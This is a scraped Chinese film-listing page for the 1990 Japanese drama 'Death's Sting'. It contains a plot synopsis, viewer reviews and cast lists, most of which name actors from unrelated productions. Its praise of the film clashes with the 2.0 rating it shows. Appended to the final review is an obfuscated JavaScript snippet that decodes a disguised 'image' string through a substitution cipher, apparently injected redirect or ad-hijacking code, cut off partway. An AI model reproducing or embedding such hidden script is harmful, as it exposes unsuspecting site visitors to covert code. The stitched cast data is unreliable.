死之棘_棘死之
别名
:棘死之简介:
死之棘是一部超级优秀的
剧情 剧情片 ,上线于
1990 年, 片名《死之棘》取自《圣经》中格林多的传记,意为罪过 作家俊夫(岸部一德 饰)与美穗(松坂庆子 ...
详情艾琳·库彭海姆,Daniela,Ramírez,Daniel,Muñoz
弗里达·伯恩哈德,Rosa,van,Leeuwen,Aisa,Winter,莉迪亚·萨多娃,Maksymilian,Rudnicki,Yanoah,Kronnen,Indy-Rose,Kroonen,Djayklin,Lima,Fien,Lindenhovius,Luke,Peters,Heleen,Post,洛拉·范·佐格尔
丹·史蒂文斯,托马斯·米德蒂奇,肖恩·吉布朗尼,玛丽·麦克,萨根·麦克马汉
马蒂亚斯·瓦雷拉,乔尔·金纳曼,马丁·沃斯特罗姆,玛琳·布斯卡,德建·库克,Madeleine,Martin,Cedomir,Djordjevic,Sasa,Petrovic,Mats,Andersson,Pablo,Leiva,Wenger,Hugo,Ruiz,Maja,Christenson,Hamdija,Causevic,Igor,Cantillana,Claudio,Oyarzo
朱迪·科默,本尼迪克特·康伯巴奇,凯瑟琳·沃特斯顿,马克·斯特朗,尼娜·索珊娅,吉娜·麦基,乔尔·弗莱,安苏·卡比亚,亚历山大·莱利,露丝·霍洛克斯,拉马尼克·阿鲁瓦利亚,乔·惠特利,埃琳娜·比洛娃,尼娜·西亚,博拉吉·凯因德,加文·帕克,莫里斯·萨迪森,西妮德·特里纳曼,汉娜·杨,凯恩·艾登
艾米莉·理查兹,斯蒂芬·阿梅尔,蒂姆·罗尊,普里西拉·法雅
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Guadalupe,Alonso,Nicolás,Treise,米涅娜·帕斯夸尔,Gabo,Correa,María,Clara,Merendino,吉列尔莫·普宁,Arnoldo,Treise,Claudio,Quinteros,Silvia,Tavcar,Edith,Nadalin,Magalí,Fernández,Paula,Siero,Pochi,Ducasse,María,Florencia,Balivasevic,Héctor,Streck
康琳浠,袁家骏,答有为,张原荣,王艺欢,赵鹏,王旭,梁栋,张婷,曹皓程,郭炫辰,杜俊峰,李凯武,蒋镇泽,蒋镇阳,岳建刚,杨恩全
勒凯斯·斯坦菲尔德,奥玛·希,安娜·迪奥普,RJ·赛勒,大卫·奥伊罗,迈克尔·沃德,阿尔法·伍达德,缇雅娜·泰勒,凯莱布·麦克劳克林,玛丽安娜·琼-巴普蒂斯特,埃里克·科菲-阿布莱法,詹姆斯·麦卡沃伊,本尼迪克特·康伯巴奇,蔡斯·W·狄龙,尼古拉斯·平诺克,巴布斯·奥卢桑莫昆,奇迪·阿朱福,图瓦因·巴雷特,汤姆·格林-卡尼,汤姆-沃恩-劳勒
豆瓣评分
2.0。类型为剧情,剧情片的。该片在
日本 地区拍摄完成,独有的
日语 语言版本。
死之棘是一部超级优秀的
剧情 剧情片 ,该剧情片的关键看点是:
死之棘棘死之;
片名《死之棘》取自《圣经》中格林多的传记,意为罪过
作家俊夫(岸部一德 饰)与美穗(松坂庆子 饰)的婚姻生活到了第十个年头,危机凸现。俊夫在外有了情人,妻子雇人调查核实,精神受到极大刺激,扬言自杀。俊夫出于对妻子的愧疚,毅然离开情人,决心和妻子儿女找回以往的快乐时光。但事与愿违,美穗由于承受过大的压力患上了精神分裂症,变得不再相信丈夫,时时猜疑,步步紧逼,使俊夫难以固守最后的个人空间。俊夫深知这一切全是自己种下的恶果,也清楚美穗的反常行为缘于极大的痛苦与悲伤,所以即使无法忍受亦坚忍下来。夫妻关系就在互相折磨中渐渐走向边缘……
其中
小栗康平松坂庆子,岸部一德,木内绿,山内明,中村美代子还参演了
(与你再遇鲜花盛开之丘)(长谷川町子物语:海螺小姐出生的那天)(首)(一盘没有下完的棋)(金色梦乡)等让人无法忘怀精彩的影视作品!
评论
死之棘|剧情热评
蜂鸟用户: 判官
【中国电影资料馆展映】一场出轨引来夫妻永恒难消的内心隔阂,反复撕裂的伤口只能变成更惨烈的沁入骨髓的毒脓,以至被精神压力逼迫到无尽的疯狂,背后是挥之不去的战争创伤阴霾。无法消除的猜疑,极致的压抑,彻骨的冰冷,令人无法呼吸。不由得想到《大开眼戒》的结尾。以前看的日影里岸部一德往往是配角,终于通过此片看到他沉静而有力的出色演技。松坂庆子那阴晴不定、突如其来的爆发状态亦是惊人的真实。如此爱而生恨、动辄以死相逼,在温情与怒火中轮回的可怕家庭生活无比残忍、现实而悲哀。散场之时仍心有戚戚。四星半 蜂鸟用户: ricecream
男人的战争结束了,男人带着罪回归家庭,妻子长期的压抑在一瞬间爆发,不死不休。影片属于战后反思的范畴,女性情绪的释放是长期沉默的女性对于男性话语主导的现代性、确定性的反抗,即使面对社会语境的规训也理当一视同仁,当然这种规训本就带有偏见,从歇斯底里症的命名到女性服用镇静剂的历史就可见一斑。影片有极其出色的影像,画面、色彩、构图、光影、站位都经过精心设计。唯一有一点疙瘩的地方在于那些以死为筹码的儿戏般的博弈,有几个片段的喜剧效果,虽然也很真实,但与整片的诡谲气质似乎有些跳脱。 蜂鸟用户: 悠远
A字大写的Art House电影,画风类似《为了伽椰子》,耐得住慢节奏便能享受小栗康平美学。战争经历加得含蓄但增色:出征送别幻象、放风筝-空袭警报,令人推测冲绳玉碎可能是精神问题源头之一。庆子如舞台剧朗读般的苛责只有疯子说得出。岸部一德真是有味道,身形与气氛融为一体。 蜂鸟用户: Mango
对白写得好,歇斯底里得不重复,也不刻意提示信息。我是第二遍看,重点全放在了小孩的身上,研究亲密关系和家庭关系的人一定会知道,这种配置下成长的小孩大体会像什么样的人,我们的成长是有暗区的,这一双小孩一直在一个暗区里,并且十分压抑,导演的呈现是全然不顾及他们,爸爸妈妈可以大声的嘶吼扭打,但小孩就是睡不醒,其中小男孩较为活泼,他的眼神随父亲而动,小女孩就常常是空洞的眼神,好惨!人性真的是一种天然自处的事吗,不,是一种十分微妙的塑就,美穗逆天的改造了自己,同时折磨了丈夫,她也将夫妻二人的恶果在儿女的心里埋下了种子,在这个环境场中,她一无所获,只有失去。 蜂鸟用户: 西瓜大侠女
喜欢资料馆一如既往的恶趣味 比如520放映死之棘 跨年夜放午夜牛郎通往绞刑架的电梯 在日本这样男女极度不平等的地方30年前居然还有导演能以一个相对平等的视角探讨婚姻本质 真是值得鼓励 松坂庆子这演技牛逼得上天入地 演这么极端不讨喜的角色居然如此美艳动人。。。禁欲到了极点且依然很有吸引力。。。导演借妻子这个极端角色替千百年来忍辱负重在婚姻中受尽折磨和剥削的女性发出抗议 演绎出当女性不再隐忍 婚姻的本质该是何样@中国电影资料馆 蜂鸟用户: 丁一
6/10。全片没有一个偷情场面,以妻子的有限视角进行,利于表现试图掩饰婚姻不幸又无法摆脱妒忌和执拗的女性形象,用谴责作为武器回击男性的背叛,潜藏主题是战争后遗症,南岛象征丈夫初恋的地方、害死战友的地方,为了逃避罪责而出轨。靠小说语言来交代情节和人物心境,这种做法很容易让观众失去耐心。 蜂鸟用户: 汪金卫
和我想的调性一模一样!资料馆“520”安排这部真太牛掰了!这趣味这品位,果然我馆,爱你!让人窒息的影片,多数人觉得阴森可怕吧,但我只觉得熟悉。Miho的不定时爆发、敏雄的极力隐忍,半裸着争相上吊,嚎叫后奔到铁轨边…直到妻子情人野蛮扭打在一起招来警察。绝对是艺术源于生活。信任一旦打破,永不会重建。多少夫妻,就这样互相折磨着,无法解脱却不放手。敏雄说你让我下地狱吧!美穗说我就在地狱。问恩清片名日文直译什么意思,她说不知道,我突然想到,那不就是我曾感受过的—在泥泞布满荆棘的沼泽中艰难爬行,浑身脏且全是血。没有打倒我们的不一定会让我们变强;有的痛苦与执念,救赎只能靠自己。只是可怜了俩孩子。还是上午的《白蛇传·情》更充满希望呀!资料馆1号厅 差几张售罄厅里开始闷热了 2厅法庭内外陆小雅交流田华到场 蜂鸟用户: 有心打扰
#资料馆松竹映画专题放映# 初识小栗康平。开幕就是一场越轴戏,将观众的空间感-人物关系建构常规打破了;之后常常有建构镜头外的主体介入(或存身、或视线、或声音),再把观众认为的客观环境化为主观视域范围内,心理压倒物理;戏与戏之间还有意象涵义的绵延(放风筝的救护车接地铁寻死戏),将情感暗流的走向提示出来。这些处理都是十分“台面化”的,创设一个介于舞台与现实的超现实空间,人物的行为也不达成目的,而是变为隐喻。抽丝剥茧之后,爱情的妒火与战时的渴望都付之一炬,只留下接受睡眠治疗的两人在如水的黑暗中挣扎着沉没。 看见奄美的时候就想起了岛呗,没想到真的有朝崎郁惠参与。 蜂鸟用户: 林夕已被占用
固定镜头案例教学片。构图案例教学片。景深案例教学片。声音运用案例教学片。看完只想说三个字:要怎样!再说三个字是:救命啊!PS:家庭这个东西最温馨也最残酷....一儿一女按说是最圆满的配置,可一家四口同处一画时丝毫没有半点幸福可言。 蜂鸟用户: 幽灵不会哭
沉靜的崩壞~鏡頭凝滯,音樂機簡,人物釘死窗格中.那個瘋狂的理由并不足夠堅強,里面潛藏著更大荒漠. 蜂鸟用户: 火娃
将女性遭到背叛后的毁灭性打击呈现得入木三分,越是不可理喻到令人厌恶,越是体现传统女性在婚姻中所处的失衡地位。 蜂鸟用户: Parallax...
利用大段的室内戏构建压迫感,室外也始终是乌云压境,小栗康平这出精神折磨戏码真是拍得极为精准。婚姻的牢狱之感透过门窗及栏杆外的取景一下营造了出来,演员的位置也能看出是精心设计的,可能舞台的痕迹略为浓重了些,松坂庆子的歇斯底里和岸部一德的麻木不仁都诠释得很好。 蜂鸟用户: 韩梦想
日影总是有描绘“怨偶”的传统,从“爱怨峡”“感官世界”“她不知道”,本片位于后两部之间,嗔痴怨念。此部容量很小,但小栗康平玄之又玄的调调非常奇特,大量山水画远景不停地间离观众心绪,然而主演又是情绪饱胀的演法,逼的人匪夷所思瞠目结舌,拿了当年学院奖最佳男女主。岸部一德当时的竞争对手有“极光下”里的役所广司,表演非常牛逼(我就是》时间:他怎么输给岸部才来看这片的)。前者一张面瘫脸搞体验派那套,国内观众可能不太了解这位演员,各路片里打酱油,进可演小津安二郎退可山寨安倍晋三,老艺术家。役所广司一套方法派拳法输得不冤。“午夜凶铃”致敬了这片结尾。 蜂鸟用户: 上林苑
在妻子那里爱是需要与他者之整一化才具有意义,然而这一理念在现实中是其必然的吗,从丈夫出轨来说答案是否定的,而也正因这一否定,同时也揭露了其想象与实在的关系,丈夫与妻子、爱与忠诚间的整一的不可能,然而这又带出另一思考,既妻子为何将爱维系在想象与整一化的关系中那,从文化与社会的某一角度来看则不难发现,妻子为丈夫付出了10年之多,以及我们从他者那里听到了类似的言语,你丈夫和你一起买菜啊 你丈夫为你穿鞋啊 我也想有一个这样的丈夫等,而这些在表达其妻子某种付出精神同时,也听到了他者的某种惊讶与惊奇之感,而这无意识流露的正是文化与社会对女性自身压抑的映射,而此压抑也是女性将其生命之意义诉诸于爱情或家庭内部的体现,进而这时如果当内部遭遇某种实在 瓦解了那一想象性关系时,也亦形成了其歇斯底里与精神问题之因。 蜂鸟用户: 鬼腳七
小栗康平完美再现了岛尾敏雄原著风格,“病妻小说”中丈夫另有所爱,妻子走向奔溃,家庭濒临解体,同时参加战时敢死队的经历也让岛尾敏雄作品中面对战后生活的主人公也和混乱、抑郁不安的心理如影随形,小栗康平用无处不在的栅栏和窗帘、隔窗、阴影来包裹人物,人造化的布景和狭窄逼仄的景深都在暗示着“赎罪”主题,男权的被颠覆,“病妻”的本质正在于对日本传统和军国主义的反抗,女性作为受害者的复仇是歇斯底里的,丈夫的救赎却无力回天,哪怕是逃去新天地,曾经的过往却依然困扰着他们,只有夫妻两人都走入精神病院才能终结这恐惧婚姻的战斗,“日本病人”的赎罪之路才刚刚开始 蜂鸟用户: Dear Cosmos
小栗康平在这里爱用景深加狭窄的空间来挤压人物,制造心理处境的外化效果,看得非常压抑。此外还有就是前景中景后景的复杂设计,虽然略显刻意,但是仍然是非常突出的特色。音效走了奇崛的路子,戏剧化成分大。PS,岸部一德太适合这个角色了…… 蜂鸟用户: Irgendwann
在妻子那里爱是需要与他者之整一化才具有意义,然而这一理念在现实中是其必然的吗,从丈夫出轨来说答案是否定的,而也正因这一否定,同时也揭露了其想象与实在的关系,丈夫与妻子、爱与忠诚间的整一的不可能,然而这又带出另一思考,既妻子为何将爱维系在想象与整一化的关系中那,从文化与社会的某一角度来看则不难发现,妻子为丈夫付出了10年之多,以及我们从他者那里听到了类似的言语,你丈夫和你一起买菜啊 你丈夫为你穿鞋啊 我也想有一个这样的丈夫等,而这些在表达其妻子某种付出精神同时,也听到了他者的某种惊讶与惊奇之感,而这无意识流露的正是文化与社会对女性自身压抑的映射,而此压抑也是女性将其生命之意义诉诸于爱情或家庭内部的体现,进而这时如果当内部遭遇某种实在 瓦解了那一想象性关系时,也亦形成了其歇斯底里与精神问题之因。 蜂鸟用户: Morning
O death, where is thy sting? O grave, where is thy victory? The sting of death is sin; and the strength of sin is the law. 蜂鸟用户: paradiso
在绝大多数日本导演那里,妻子用包容与忍耐换来出轨丈夫的回头。小栗康平说,别信他们,电影都是骗人的。 蜂鸟用户: 超cute侠
看了《厌女》找来看的。上野认为“岛尾敏雄的《死棘》是日本近代文学所达到的一个高度。在小说中,他逼真地写出了妻子作为‘异形他者’的原本状态,作家没有企图逃离,而这种态度在男人中很罕见。”!function(){function a(a){var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF 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